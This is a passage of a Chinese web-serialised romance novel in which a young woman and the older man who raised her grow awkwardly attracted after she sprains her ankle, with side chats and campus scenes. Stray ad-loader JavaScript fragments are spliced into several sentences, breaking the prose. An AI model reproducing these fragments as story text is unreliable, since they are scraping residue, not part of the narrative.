他无奈轻笑,在她梳妆台上翻了半天,总算找到标着卸妆字样的产品。 顾北将卸妆水倒在化妆棉上,接着笨拙地擦拭起女孩的脸。 他动作轻到极致,生怕弄疼或者吵醒她。 卸完妆,关掉灯,顾北走出房间轻声合上门,让她好好休息。 门刚关好,最后一丝光线被挡在屋外,一片黑暗中,只见原本应该睡着的女孩倏地睁开了双眼。 荆梨满脸通红地撑坐起来,大口大口喘着气,胸膛上下起伏,她按住散开的领口 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,心跳怦然不止。 锁骨上还残留着男人指尖的触感,似燎原的星火,一路烧至全身,烧得她理智涣散。 换上家居服的顾北正在厨房里收拾排骨。 他得为自己的失信负责。 将排骨玉米汤炖上后,顾北拿上电脑和手机在窗边的单人沙发坐下。 他只留了盏落地灯,奶白的灯光打在他身上,有种在雪地燃起篝火的踏实感。 辛恬在半小时前给他打了通电话,还有几条微信。 时间太晚,他怕打扰到对方,便只回复了信息。 【平安到家就好,今晚辛苦你们应付张总了。】 刚点击发送,聊天框顶部就跳出“对方正在输入”的字样。 顾北等待几秒,看见辛恬回道:【顾老师,你家里的事处理得怎么样了?】 顾北:【已经处理好了,多谢你的关心。】 辛恬发了张放松吐气的表情包:【那我不打扰您了,您早点休息。】 话落,间隔几秒,她又单独发来一句:【晚安。】 顾北见状没有同样回复晚安,而是简单发送一个“OK”的手势。 熄掉手机屏幕,他开始专心工作,不知过了多久,主卧方向传来开门关门的响动。 顾北侧眸看了眼,发现走廊灯被人按亮了。 看来是荆梨醒了。 “我煲了排骨汤,过来喝点?”他盯着电脑屏幕,扬声说道。 没人应他。 顾北也不在意。 又过了几分钟,走廊上那间浴室突然传来物体坠地噼里啪啦的声响。 顾北一愣,随即站起身快步来到浴室门口。 里头灯亮着,还能听见花洒哗哗的水声。 难不成荆梨正在里面洗澡? 这么想着,他松开门把手:“怎么了?东西碰倒了?” 回答他的是沉默。 顾北叹了口气,暗道这丫头喝醉之后真是太折腾人了。 他屈指扣响门板:“听见就出个声,别让我担心。” 里头的人这才犹犹豫豫地应道:“滑倒了……” 顾北拧眉,语气焦急:“摔得严重吗?有没有受伤,还能站起来吗?” 荆梨裹紧身上的浴巾,脸色发白地望着自己明显肿起来的脚踝,她试着动了动,脚踝处立即反馈触电一样的疼痛,她不由痛呼一声,眼角都泛起了泪花。 顾北听见她的嚎叫:“说话,到底摔成什么样了?” 浴室内被蒸腾的水汽填满,荆梨瘪了瘪嘴,坐在冰冷的地上,鼻音浓重:“站不起来了,脚脖子疼。” 顾北闻言捏了捏发胀的额角,沉声嘱咐她:“把衣服穿上,我进去抱你出来。” 荆梨看向远处的衣篮,这个距离她爬过去都费劲。 她又瞥了眼自己身上的浴巾,裹得很紧,没有暴露的地方。 只是让顾北抱她回房间,没关系的吧…… 刚刚男人帮她解衣扣的画面还不断在脑海里回放,荆梨脸颊再次热起来,她懊恼地暗骂自己,怎么洗个澡都能出事啊。 “小梨?”顾北催促。 荆梨回过神,张了张嘴,嗓音嗫嚅:“我穿好了,你进来吧。” 28.暧昧 Chapter 28 顾北闻言尝试转动把手,发现她并未反锁,不禁皱了皱眉。 “我进去了。”他提醒道。 刚推开浴室门,湿漉漉的水汽迎面扑过来,顾北顿了下,眯起眼往雾气蒸腾的里头看去。 只见荆梨跌坐在地上,长发被她盘了起来,露出纤细笔直的肩颈线条,她就裹了条浴巾,右腿以一种别扭的姿势曲着,脚踝外侧有处明显的红肿。 荆梨听见动静抬起眸。 她的眼圈和鼻头都是红的,望向他的表情不觉染上委屈,黑白分明的杏眸浮着层雾蒙蒙的水色,可怜中带着不自知的祈求。 浴霸暖色的灯光经上升的水雾折射,似笼罩在空中的烟色薄纱,视线变得不再明晰,五感的灵敏程度也随之迟缓。 氧气突然稀薄,小苍兰沐浴露的味道馥郁浓烈,闷得胸腔一窒。 顾北漆黑的眼眸一眨不眨地盯着坐在薄纱中的女孩,视线不受控地从她小巧光洁的肩头滑到白腻的腿。 心脏处奇异地颤动了一下,酥麻的感觉一路蔓至喉头,他下意识吞咽,喉结轻滚,压下那股莫名的波澜。 思绪后知后觉地回笼,他仿佛才察觉到自己的冒犯,忙移开目光。 下一瞬,四目相对,荆梨委屈巴巴的表情印入眼帘,他立刻收紧下颌,不动声色地低下眼,薄唇抿成一条线,脸板了起来。 额发垂落,阴影盖住了他眼底的情绪,叫人窥探不清。 荆梨见他表情严肃,站在哪儿不说话,也不动,气氛蓦然有些奇怪。 她以为顾北在气她的不小心,不由低下头缩了缩肩膀,一副做错了事,十分憋屈的模样。 她的小动作没逃过男人的眼睛,顾北很轻地叹了口气,伸手拿过架子上干净的浴巾,走上前披在她肩上,随即将花洒关掉,半蹲在她身侧,认真地观察她扭到的脚踝。 哗啦啦的水声兀地停止,逼仄的空间一下陷入安静。 静到让人浑身不自在。 “应该没骨折,只是扭到了。”顾北看了一会儿,给出结论,顿了下,他又问,“很疼么?” 他语气淡淡,嗓音却很沉,带着难以言喻的沙哑。 荆梨没吭声。 她正出神地盯着近在咫尺的男人,脸颊绯红,心口突突直跳,一个字都发不出来。 许是久久未听到她的回答,顾北眼尾微挑,睨向她,对上女孩来不及收回的目光。 偷看被抓包,荆梨欲盖弥彰地飞速眨眼,启唇毫无感情地“啊”了声。 她眉头轻拧,委委屈屈地补充:“超级疼。” 顾北定定地注视着她,眸光晦暗不明。 荆梨被他盯得呼吸不畅,心虚地平移视线,刚要再说些什么,下一瞬,脚踝处传来刺痛。 “啊!” 这次她的痛呼是真心实意的。 “你干嘛!”荆梨捂住小腿,冲他控诉道。 暧昧的因子被打破。 顾北缩回戳弄的手指,似笑非笑扫了她一眼:“澡洗完了吗?” 荆梨别过脸不再看他,气鼓鼓地说:“洗完了。” 闻言,顾北不再墨迹,他站起身,弯下腰一手揽住她的肩背,一手穿过她的膝窝,一个标准的公主抱,将女孩轻易抱了起来。 身体陡然腾空,男人的有力的臂膀箍住她的肩膀和双腿,彼此间悬殊的体型差和力量差让荆梨心尖一颤。 她下意识勾住他的脖子,抬头瞥向他的脸。 顾北却在此时垂睫,居高临下地望着她。 两人的目光不期然相撞,荆梨一怔。 气氛微妙。 顾北先一步错开,面色如常地直视前方。 方才如梦一般的对视让荆梨脑袋眩晕了一下,她的表情甚至可以用呆愣来形容。 怎么感觉……顾北的眼神怪怪的…… 荆梨空咽了一口,长睫似蝶翼颤动,搭在他颈上的手臂情不自禁地紧了紧。 男人的体温比她高很多,靠在他胸前非常温暖,哪怕走出了浴室她也不觉得冷。 荆梨尽量保持视线平直,可视野还是被顾北所占据。 男人的喉骨就在她眼前,形状十分好看,再上去一点,就是他的下颌,棱角分明,紧窄瘦削,充斥着浓郁的男性荷尔蒙。 他的唇形也很漂亮,不会太薄显得寡淡,唇色比她的浅点,不知是不是荆梨的错觉,她好像瞧见了顾北的唇角微微翘动了一下。 不等她继续细想,头顶响起男人闷沉的低语。 “回你房间还是放你到沙发上?”顾北看了眼她高肿的脚踝,说,“你这脚得喷点药消下肿。” 荆梨结巴道:“沙,沙发吧。” 顾北沉默地将她搁到自己刚才坐着的沙发上,柔软的绒布还残留些微他的温度。 “等我。” 撂下这两个字,顾北走到茶几前,拿出放在底下的药箱。 离开他的怀抱,荆梨心口顿时空落落的,她拢了拢肩头的浴巾,后知后觉感到冷。 还好顾北回来时手上多了件厚实的外套。 他展开披在她身上,宽大的男士夹克将她裹得严严实实。 荆梨一愣:“谢……” 似是觉得自己太客气了,她刚吐出一个字就赶忙闭上嘴。 荆梨暗暗懊恼。 怎么感觉……今晚一切都奇奇怪怪的。 顾北什么也没说,坐到她旁边,打开药箱,从里头拿出云南白药喷雾,接着拍了拍自己的腿:“把脚放上来。” “哦。” 荆梨闻言乖乖地抬起腿,可微微一动脚踝就会牵扯出痛感。 她轻“嘶”出声,眉头蹙起,抬得极为缓慢和吃力。 顾北见状伸手握住她的小腿,帮了一把。 荆梨的思绪却被他的手吸引了过去。 男人的手掌太热了,熨着她微凉的皮肤,像突兀地贴上一块滚烫的烙铁,存在感十足。 顾北很快就松开了手,神情专注地看了看她肿起来的地方,边拔掉喷雾的瓶盖,边开口道:“看起来有点严重啊,估计要一阵子才能好呢。” 说罢,他拧眉望向她:“我带你上医院吧,拍个CT检查一下。” 荆梨有点排斥医院,往常有个小病小痛的,除非真的难受到不行了她才会想起这个选择。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不要。”她立刻否决,“没到要去医院那么严重,喷点药就行了。” 顾北目光沉沉地扫她一眼,心里知晓她有多倔,便不再坚持。 他低头将喷嘴悬在脚踝上方的位置,温声哄道:“有点凉,忍着点,喷完就没那么痛了。” “嗯。”荆梨低低地应了声,手指紧攥着外套,上头飘出淡淡的木质香气,无言的安全感包裹着她。 话落,药味浓重的喷雾落在她的脚踝上,冰冰凉凉的,瞬间把热胀的痛感镇压。 荆梨松了口气,注意力又再次放到男人身上。 他沉静凌厉的眉眼此刻浮着无言的温柔,有种冰雪消融的暖意,和春天给人的感觉相似。 看着看着,她的眼神逐渐痴迷,理智涣散,不受控地倾身靠近,直到凑在顾北的脸侧,不到一寸的距离,荆梨才恍惚回过神。 但她已经退不了了。 或许是因为今晚顾北对她太过温柔,又或是感受到了一丝他面对自己时不同于往常对待妹妹的异样差别。 荆梨欣喜于这种差别。 女孩温热的气息扑到脸上的瞬间,顾北动作一顿,略微诧异地偏过脸。 因距离过近,他的鼻头与荆梨的轻轻蹭了蹭。 二人俱是一愣,僵在原地,就这么看着彼此,鼻息相对,没有任何反应。 落地灯光线低迷,将这片角落照亮,像是为他们单独开辟了一个无人打扰的静谧空间。 荆梨双目微瞠,眼神羞赧又无措,黑白分明的大眼睛带着温润的湿意,神色迷茫地和他对视。 纯与欲交织在这张尚显稚嫩脸上。 是个男人都不会无动于衷。 顾北神情收敛,他一瞬不瞬地注视着她,面沉如水,没有后撤,也没有推开她。 默然良久,他哑声开口:“荆梨。” 他极少连名带姓地叫她。 荆梨呼吸稍停,唇瓣翕动:“在。” 顾北忽然抬手抚上她的脸,指腹轻轻划过她的眼尾,语气严肃道:“以后不管在哪洗澡都别忘了把门反锁好。” 荆梨愣住:“什么?” 顾北放下手,回正脑袋,垂眸继续帮她喷药,淡淡道:“没什么,就是想告诉你要多些戒备心。” 荆梨皱紧了眉,死死盯着他:“什么意思?我在家洗澡也要反锁门吗?” 顾北眸光暗了暗,看不出情绪:“嗯,在家也得反锁。” 旖旎的氛围骤然消散,荆梨意味不明地嗤笑道:“意思是,你我也得防着呗。” 顾北没吭声,不置可否。 “有病。” 荆梨冷冷地剐了他一眼,强忍着疼,收回脚,一蹦一跳地回了自己的房间。 独留男人坐在偌大的客厅。 顾北仿佛僧人入定,手里攥着喷雾,指骨都用力到泛白。 他目光失焦地落在反光的黑色茶几上。 台面映照出他的脸。 顾北双眼无神地盯着那张脸,心底泛起浓烈的厌恶。 他真恶心。 竟然面对自己从小养大的姑娘,生出男人对待女人的那种龌龊想法…… 29.年上 Chapter 29 荆梨烦躁地把卧室门用力甩上。 这样她还不解气,又故意把门反锁,咔哒的声响在静谧的夜里格外明显。 她气得胸口发闷,蹦到床边坐下,瞪着门口的位置,眼尾渐渐染上红色。 她不明白为什么顾北要说这种话,什么叫提高防备心,什么叫也要防着他。 这么多年的相处,他是什么样的人她还不清楚吗,搞得跟他也会对她做出什么不好的事情一样…… 混蛋……莫名其妙! 荆梨在心里怒骂,伸手抓起床头的抱枕就往地上砸。 抱枕触地后回弹了两下,最后皱巴巴地躺在那儿。 荆梨深吸一口气,盯着抱枕,慢慢冷静了下来。 随即她不知想到了什么,心念一动。 她凝眸陷入沉思,仔细琢磨起顾北方才的话。 一种怪怪的违和感充斥其中。 她知道顾北只把她当成毛都没长齐的小妹妹看待,所以日常在她面前并不太避讳,更别提什么男女大防了。 就连洗完澡光着上半身的模样被她瞧见也不会躲开,要多坦荡就多坦荡,倒显得她很心虚。 可是刚刚顾北话里话外的意思,分明在说他心里有鬼啊…… 联想到这点,荆梨的大脑空白了那么一瞬,心跳也跟着漏了一拍。 她不由向后躺倒,整个人陷进柔软的床垫里,身上属于顾北的夹克还没脱掉,鼻间都是上面飘来的成熟男性的气息。 荆梨有些茫然,害怕自己自作多情,可能顾北只是突如其来的想跟她来场关于提高女性安全意识的教育小课堂。 毕竟对他这个死心眼的人来说,他对她负有一定的“监护”、“管教”的责任。 但……万一呢? 万一他说出那些话的心理动机,就是她想的那样呢? 好烦啊。 男人的心思真难猜。 荆梨越想越头疼,体内残留的酒精还在影响着她。 她扯过一旁的被子将自己整个盖住,摆烂一般闭上眼,打算就这么睡过去,清醒之后再去面对那些扯不清理还乱的思绪。 半梦半醒间,搁在床头柜上的手机振动了两下。 荆梨眼皮一跳,烦躁地翻了个身,不准备理睬,可翻动时扭伤的脚踝碰到了床尾的玩偶,疼得她瑟缩了一下。 睡意骤然消散,荆梨长长叹了口气。 她发誓,以后再也不碰酒了。 她摸过手机,短暂适应屏幕的强光之后,看到了433问她:【睡了吗?】 荆梨靠坐起来,慢吞吞打字道:【刚要睡着。】 对方秒回:【抱歉……】 荆梨唇瓣微弯:【没关系。】 随即主动挑起话题:【我今天去喝酒了,终于醉了一次。】 433:【感觉怎么样?】 荆梨泛着倦意的眼漾起波澜,无奈地回:【感觉挺好的,就是出了不少状况。】 433:【发生什么了?】 433:【难不成你是酒后发疯的类型?】 荆梨:【才不是,我可乖了。】 433:【呵,我信。】 说实话荆梨有些断片,刚醉时状态的她已经记不太清了,只残存些模模糊糊的画面。 例如易梓薇扶着她走出酒吧,不一会有个温热的怀抱拥住了她,她恍惚听见了周逸怀的声音,之后就是顾北出现带走了她。 想起周逸怀,荆梨打字的动作微顿。 她划到微信界面,果不其然,两小时前周逸怀给她发了信息。 内容是:平安到家了吗? 荆梨赶忙给他回复:【嗯,要睡了。】 等了几秒,对面没有动静,她又切回今夜。 【就是有点倒霉,洗澡的时候把脚给崴了。】 433:【严重吗?】 荆梨:【不严重。】 433:【怪我,不应该跟你提起喝酒这档子事的。】 荆梨对“怪我”这两个格外的敏感。 她难免想起顾北。 顿时,睡前那些纷乱的思绪再一次席卷。 她丧气地沉了口气,打算问问同为男人的433。 【问你个问题。】 433:【说。】 荆梨:【你们男的,会对比自己小很多的女生心动吗?】 那头静默下来。 荆梨也不着急,恰好周逸怀这时有了回信:【别忘了喝点解酒的东西,不然早上起来头会很痛。】 荆梨略带敷衍:【好的,谢谢。】 周逸怀:【咱俩用得着这么生分吗。】 荆梨挑眉:【确实生分啊。】 对面被噎得说不出话。 但周逸怀不死心,继续聊:【你藏挺深啊。】 【要不是今晚遇到,我都不知道你还有哥哥。】 见男生提到顾北,荆梨不由被勾起高二的那段记忆,也正是因为看到顾北谈恋爱,她才赌气“勾搭”的周逸怀,害得对方到现在都放不下。 真是造孽啊…… 因为心虚,荆梨放软了态度,解释道:【也不是藏吧……我哥他平时太忙了。】 周逸怀:【你哥他认识我吗?】 【毕竟我俩那事当时闹挺大的。】 荆梨:【他知道你的名字,但应该没看过你的脸。】 应该……吧。 男生宿舍里,周逸怀看到荆梨的回复,脑海中不禁划过男人带着敌意与排斥的眼神,皱了皱眉,心里不太舒服。 有哥哥对妹妹占有欲这么强的么。 只是看到陌生的异性关照一下喝醉的妹妹,就能那么充满戾气。 【你和你哥关系很好吗?】 荆梨:【?】 荆梨:【废话。】 周逸怀:【他是不是很宠你啊?】 荆梨:【问这个干嘛?】 周逸怀:【没干嘛,就是感觉你哥人看着挺好的。】 荆梨:【对他一见钟情了?】 周逸怀:【……】 周逸怀:【别瞎说。】 荆梨笑笑:【不聊了,我困了,先睡了。】 周逸怀赶忙道:【明天中午一起吃个饭么,我去你学校找你。】 似是怕女孩拒绝,他又补充道:【我那个纹身图案想请你帮忙改改。】 荆梨顿了顿:【明天再看吧。】 周逸怀轻笑,也行,没有第一时间否决,起码给了机会。 【好,那我明天下课前再问你一遍。】 结束和男生的对话,荆梨点开今夜,只见433的对话框上出现4条未读消息。 【会。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 】 【男人喜欢一个女人可不在乎她是不是比自己小很多。】 【他们的劣根性让他们有时候更像一头野兽,遇到漂亮的就会发情。】 【像你这样的小孩子尤其得对男人保持警惕,特别是年纪大的。】 荆梨微怔,手指悬在屏幕上空,好半晌都不知道该回什么。 她更糊涂了。 照433这么说,男人就是视觉动物。 那顾北也是吗…… 见她许久没有回复,433又道:【为什么突然好奇这个?】 荆梨:【刷到一本年上文,好奇问问。】 433:【年上文,是什么?】 荆梨感到新奇:【这个你都不知道,就是男主比女主大的小说。】 433:【……你喜欢看这种的?】 荆梨:【嗯。】 这下换对方愣住了。 时间已经很晚了,433知道她明天还要上课,匆匆结束聊天,主动道了晚安。 荆梨熄掉手机屏幕,闭眼重新酝酿睡意。 - 次日上午。 阳光透过窗纱倾淌进卧室。 荆梨被闹钟叫醒。 今天是周一,得去学校上课。 她从决定留在梧城念大学开始就没想过住校。 原因无他。 即便自己上大学了,她也希望每天见到顾北。 经过一夜之后,脚踝的肿胀消下去不少,荆梨慢慢将脚触地,支撑着站起身。 还是挺疼的,但没昨晚那么难以忍受了,尽量避免右脚受力,也能独立行走。 换上干净衣服,简单收拾完,荆梨装好课本和画具,抱着男式夹克,一瘸一拐地走出卧室。 刚走到客厅,就闻到厨房方向飘来的香气。 她抬头望去,瞧见端坐在餐桌边的顾北。 男人今天穿着熨烫平整的白衬衫,扣子扣得一丝不苟,他正面色沉静地看着手机,不知看到了什么,下一秒,他眉头倏地蹙起,似摸到烫手山芋般把手机搁到桌上,端起面前的咖啡喝起来。 晨光大好,倾洒在他身上,柔和了较为锋锐的眉眼,也让他陡然充血泛红的耳朵愈加明显。 荆梨蹦到他对面坐下,好奇地勾头去看他的屏幕。 顾北眼疾手快地将手机反扣。 “小气鬼,看一下都不可以啊。” 她撇了撇嘴,夹起盘子里煎好的鸡蛋一口塞进嘴里。 顾北盯着她,脸上虽然没什么表情,但眼里还是闪过一瞬的狼狈。 荆梨似有所感,抬眸和他对视,注意到男人布满红血丝的眼白,以及眼下的乌青,不由一愣。 “你昨晚没睡好吗?”她脱口而出。 顾北闻言目光一下变得深沉,他滚了滚喉结,嗓音暗哑:“有点。” 荆梨眨眨眼:“怎么了,受什么刺激了。” 顾北视线意味不明地划过她亮晶晶的唇瓣,心口郁结。 他昨晚看了一夜的言情小说。 心灵遭受到不小的冲击。 联想起荆梨在今夜上跟他说过已经有了喜欢的人,还问他男人会不会对比自己年龄小的心动…… 难不成,她喜欢的那个人,是个年纪比她大很多的大叔嘛。 思及此,顾北有些头疼地阖了阖眼。 30.邪火 Chapter 30 感情这事千人千面,每个人心动的类型都不尽相同。 可以理解荆梨喜欢年纪比她大的人。 毕竟从她出生以来,父亲这一角色一直是缺位的,长大后她会更容易被成熟强大的异性所吸引。 但她现在太小了,阅历和社会经验还不够丰富,非常容易被一些有心之人所欺骗……唉,说到底都怪他,一直在忙工作,忽略了对她的陪伴。 “脚怎么样了?”顾北轻咳,把话题转移。 荆梨闻言看向右脚:“好多了,不妨碍走路。” 顾北放下咖啡,起身去拿昨晚的那瓶云南白药,随后径直来到荆梨身侧,在她脚边蹲下。 荆梨眼前暗了一瞬,男人肩背宽阔,朝她方向低伏时好似山脉遮挡天日。 她不自觉身子一僵,刚夹的小香肠掉到桌上。 顾北单膝跪地,袖口稍稍折起,露出一小截筋脉清晰的手臂,无名指上她送的戒指折射出细碎的光。 四下蓦然安静,从她的角度能瞧见顾北英挺的眉眼惯性地蹙起,睫毛在眼下投出淡淡的阴影,疲惫冷脸反而给他增添了一份熟男的魅力。 此时他正神色专注地跪在她面前,一种难以言喻的感觉自心头蔓延。 荆梨看着他渐渐出了神,眸光潋滟,氤氲出浅浅的笑意。 “你脚不方便,这段时间我来送你上下学。”顾北照着肿起来的地方喷洒药雾,轻声说,“快下课的时候别忘了提醒我去接你,还有,伤成这样就别乱跑了,老实上课,没课就在家好好待着,不准再喝酒……” 他话还没说完,却眉心突然出现的微凉触感而打断。 呼吸轻顿,他下意识抬头,目光捕捉到女孩来不及收回的指尖。 荆梨手指微蜷,在男人讶异的眼神里尴尬地弯了弯唇:“我看你一直在皱眉,想帮你抚抚平……” 她越说底气越不足,干脆将头重新埋下去,大口干饭。 顾北大脑有些宕机,视线扫过她绯红的脸颊和修长白腻的脖颈。 脑海里忽然闪过她像小狗一样舔他的唇角,出租车里黏黏糊糊蹭他的模样,以及跌坐在浴室里的旖旎画面……心跳奇异地漏了半拍。 那些年上恋小说片段突然生动了起来。 思绪一下混乱不堪,顾北眉头皱得更深了。 不对劲。 非常不对劲。 他用力攥紧拳头,面色微沉,一言不发地坐回桌前,将最后一点咖啡喝完,舌尖回荡着苦涩的滋味,将将压下心口酥麻的波澜。 喝豆浆的间隙,荆梨悄悄打量对面的男人,见他表情不太好,不禁腹诽:真是个小气鬼,手机不给看就算了,手指碰一下都不行。 许是她眼神太过幽怨,顾北瞥了她一眼,荆梨一吓,被豆浆呛到,咳得满脸通红。 顾北抽出张纸轻飘飘递过去,语气略带责备:“吃饭还分心。” 荆梨没接,瞪着他:“都怪谁啊。” 顾北是真不懂:“谁?” “……” 荆梨哑巴吃黄连,生生把话咽了回去。 上车后,荆梨系好安全带,阖上眼偏过头,被动进入补眠状态,避免和男人对话。 车子启动一段时间后却一直没走,荆梨疑惑地掀起眼皮,稍稍侧眸,结果撞上顾北深邃的目光。 他正偏着脑袋,定定地望着她,眼里瞧不出情绪。 荆梨心头猛地一跳,皱起眉,一脸警惕:“干嘛?” 顾北脸色依旧没有什么表情,看起来像在思考,几秒后将头摆正目视前方,握住方向盘开始开车。 “没事。” “……” 从昨晚开始就觉得他奇奇怪怪的。 荆梨狐疑地将男人扫视了一通,想了半天都没想明白他到底怎么了。 难不成昨晚他喷药的时候自己突然向他靠近,还有刚刚帮他抚平眉心的举动,暴露了些什么……? 他是不是察觉到她喜欢他了? 难怪……这样的话就能解释顾北为什么突然警告她要反锁房门了。 想到这点,荆梨浑身一悚。 这个死心眼不会以为,她对他动心这件事,又是他的错吧? …… 完全有可能,他完全干得出来。 荆梨霎时脸色苍白,机械地转动脑袋,盯着窗外不断后退的街景,心口直打鼓,血液也跟着沸腾,手脚蜷缩发麻。 其实她从来没想过让顾北知道自己的心意。 因为她清楚,一旦这个秘密暴露在阳光下,那她面临的便是他的逃避与远离。 她宁愿一辈子以妹妹的身份待在他身边。 也不要为了逞一时之快而承担失去他的后果。 思及此,荆梨懊恼地闭上眼,最后还是选择了沉默装死。 只要她不承认喜欢,顾北的猜测就只是猜测。 对,只要她不说,那这个死心眼就永远不知道。 - 不一会儿,车停在校门口,荆梨连声招呼也没打,着急蹦下车,一瘸一拐地走进校园。 顾北目送她的身影消失,才收回视线,转头朝设计院的方向开去。 他思索了一路。 自己面对荆梨时那些怪异的“欲念”,或许是因为寡了太久导致的。 说出去可能都没人信。 二十八年来,他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一次恋爱也没谈过。 刘春迎给他介绍过不少好姑娘,但都被他在第一次见面时以各种借口婉拒断联了。 唯一一个联系下去的,就是徐图之徐律师。 当时他手底下一个工程出现了问题,闹得挺严重的,甚至惹上了官司,如果输了的话他得赔个底儿掉,荆梨的生活质量也会受到影响。 幸好徐律师及时出现,答应做他的辩护律师,帮他打赢了官司。 之后二人便成了好友。 为了不辜负刘春迎的好心,也为减小徐图之被父母催婚的压力,他俩达成短暂的共识。 只要家里一问,就默认接触得不错,等过段时间再以性格不合等理由“分开”。 除却这段虚假的关系,他一次正经的恋爱经历都没有。 工作忙起来的时候日夜颠倒,累得倒头就睡,根本想不到男女那事儿上去。 估计是这两年闲下来了,邪火压抑太久,慢慢把脑子烧得不正常了。 竟然对他看着长大的妹妹“心生不轨”。 想通之后,顾北陡然轻松下来。 不是变态就行。 找个女朋友就能治好。 正琢磨着拜托刘春迎继续帮他介绍相亲对象,手机忽然进来一通电话。 顾北扫向来电人的名字——辛恬。 他伸手接通。 “喂,顾老师。”女生清甜温柔的嗓音从扬声器里传来,“您在开车吗?” 顾北“嗯”了声:“一会就到院里了,出什么事了么?” 辛恬赶忙道:“没事没事。” “就是周工要请大家喝东西,他让我问问您想喝什么,热拿铁可以吗?” 顾北下意识拒绝:“我早上已经喝过咖啡了,不用点我的了,你们喝吧。” “好,我知道了。” 在顾北即将挂掉电话之际,辛恬突然叫住他:“顾老师。” 顾北顿了顿,眼尾微挑:“你说。” “您吃早餐了吗?”不等男人回答,辛恬忙补充道,“我早上多做了一份三明治,本来是给朋友带的,但她在家已经吃过了,您要是还没吃,不嫌弃的话,要不要试一试我的手艺……” 女生话语里的紧张与羞怯哪怕隔着屏幕都能感受到。 但顾北没往别的方面想。 只觉得女生人挺热心的,或许也存着在领导面前留下好印象,好让他在实习测评上打高分的小心思。 顾北早上确实没吃什么东西,就喝了杯咖啡,于是干脆地应了下来:“可以啊,谢谢你小恬。” 那头提着的心总算放回肚里,辛恬强忍加速的心跳,语气克制道:“好的,那我放您桌上。” 31.渣女 Chapter 31 荆梨从教室后门进去时,思政老师已经开始点名了,她赶忙压低身子坐到易梓薇帮她占的后排位置上。 她一瘸一拐的模样自然没有逃过女生的眼睛,易梓薇看向她翘起来的右脚,诧异道:“一晚上不见,你脚咋了?” 说罢,她似想到了什么,强行咽下嘴里还没嚼碎的面包,眼睛瞪大:“不会吧,难道顾北哥动手打你了?!” 荆梨正低头掏书,闻言奇怪地斜了她一眼,皱眉道:“胡说八道什么呢,他凭什么打我?脚是我摔伤的,跟他有什么关系。” 易梓薇举起课本竖在脸前,歪头压低嗓音问:“你忘了你昨晚喝醉之后做的事了吗?” 荆梨动作顿住,眼珠微微移向左上方,回忆了两秒,接着迟疑地摇摇头。 她的记忆卡在了周逸怀出现,以及被顾北背回家。 这两段中间发生过什么她完全失去了印象。 瞧着易梓薇的反应,她应该是干了什么比较“惊天动地”的事。 思及此,荆梨心头一跳,忙语气紧张地追问她:“我做什么了?” 易梓薇拿起手机,神秘兮兮地给她发了段视频。 “你自己看吧。” 荆梨没有错过她眼中划过的促狭。 有种不妙的预感。 她吞咽了一口,长睫轻眨,视线移到手机微信界面,伸手点开那个视频。 短暂加载过后,黑漆漆的画面开始晃动,几秒后落定在前方相拥纠缠在一块的男女身上。 荆梨一眼便认出了男人是顾北,而他怀里搂着的正是她自己。 荆梨思绪停顿了一下,她脑海中对这个画面完完全全没有丝毫的印象。 她立刻双手捧起手机,低头凑近,眼睛一眨不眨地盯着视频里两人的一举一动,蓝牙耳机这时传来她醉醺醺又黏糊糊的声音。 “大混蛋,你来接我回家啦。” “有酒的味道,你也喝酒了。” “你的酒味好好闻,我也想喝。” 话落,她眼睁睁看着自己勾着顾北的脖子,踮起脚在他唇边舔了一口。 …… ………… ……………… 荆梨望着这一幕,大脑直接宕机。 紧接着,一股微妙的,无法忽视的羞耻感席卷全身,她兀地将手机反扣在桌面,发出不小的动静,吸引了前排同学的注意。 但她现在已经无所谓别人怪异的目光了,她难堪地将脸埋进臂弯,脸颊滚热,视频里不断循环着她的声音,像一记记重拳,加深她指尖蜷缩的力道。 救命…… 她都做了什么啊…… 这些是正常人类能说出来的话吗? “荆梨。”老师这时点到了她的名字。 无人应答。 易梓薇杵了杵她的胳膊:“点你名了。” 荆梨没动。 “荆梨。”老师语气染上不耐,“荆梨在不在?” 易梓薇没办法,捏住鼻子帮她答了到。 还好老师没起疑,成功混了过去。 易梓薇倾身凑到她耳边:“我录的时候被你吓一跳,你醉了之后胆子是真大啊,我看顾北哥脸色都沉了。” 荆梨神清恍惚地抬起头,双眼失焦:“怪不得……” “怪不得什么?”易梓薇满脸八卦。 怪不得,从昨晚开始顾北对她的态度变得奇奇怪怪的,刚才在车里还莫名其妙地盯着她打量。 视频里她这一套动作,真的很……暧昧。 天底下哪个正常妹妹会在酒后这么对待哥哥啊。 见她又愣住了,易梓薇“哎呀”一声:“急死了,你快说话呀。” 荆梨表情比哭丧还难看,她长叹了一口气,关掉视频,拿掉耳机,重新趴在桌上,有气无力地摆摆手:“我先下线了,别打扰我。” “哎,先别睡啊,告诉我怪不得什么呀,还有你跟周逸怀又是怎么回事?”易梓薇一口瓜吊在面前,怎么张嘴也吃不到,心里难受得不行。 但不管她怎么推荆梨,对方都一副拒绝交流的模样,甚至将脑袋转到一边,留个后脑勺给她。 见实在讨不到痛快,易梓薇只得作罢,她支着下巴点开和陆檀的聊天框,主动问他起床了没。 对面许久都没动静,看来是还没醒。 早八的思政课,教室充斥着淡淡的死气,老师的声音比摇篮曲还催眠。 易梓薇睡不着,百无聊赖下,她往上翻看起和陆檀的聊天记录。 自从上次在派出所和陆檀加上微信之后,这几天两人都在发消息。 一开始她完全以小迷妹的心态对自家偶像各种吹彩虹屁,早中晚嘘寒问暖,还时不时给对方点外卖,送信,送昂贵礼物,甚至在微博上看到粉丝写的感人小作文、线下应援活动的返图,以及站姐拍的帅气机场照也会全部保存下来发送给他,继续夸夸夸,只为和他多说说话。 但陆檀的回复总是透着股敷衍的意味,对待粉丝举行的应援活动给予的反应也很冷漠。 单单这样,易梓薇也能理解,毕竟他现在各地巡演,闲暇时还要写歌练习,疲于提供情绪价值。 可当她在朋友圈发精修自拍,或者和朋友的合照时,他便会迅速点赞评论,等她回复后就主动找她私聊。 言语间满是拉扯挑逗。 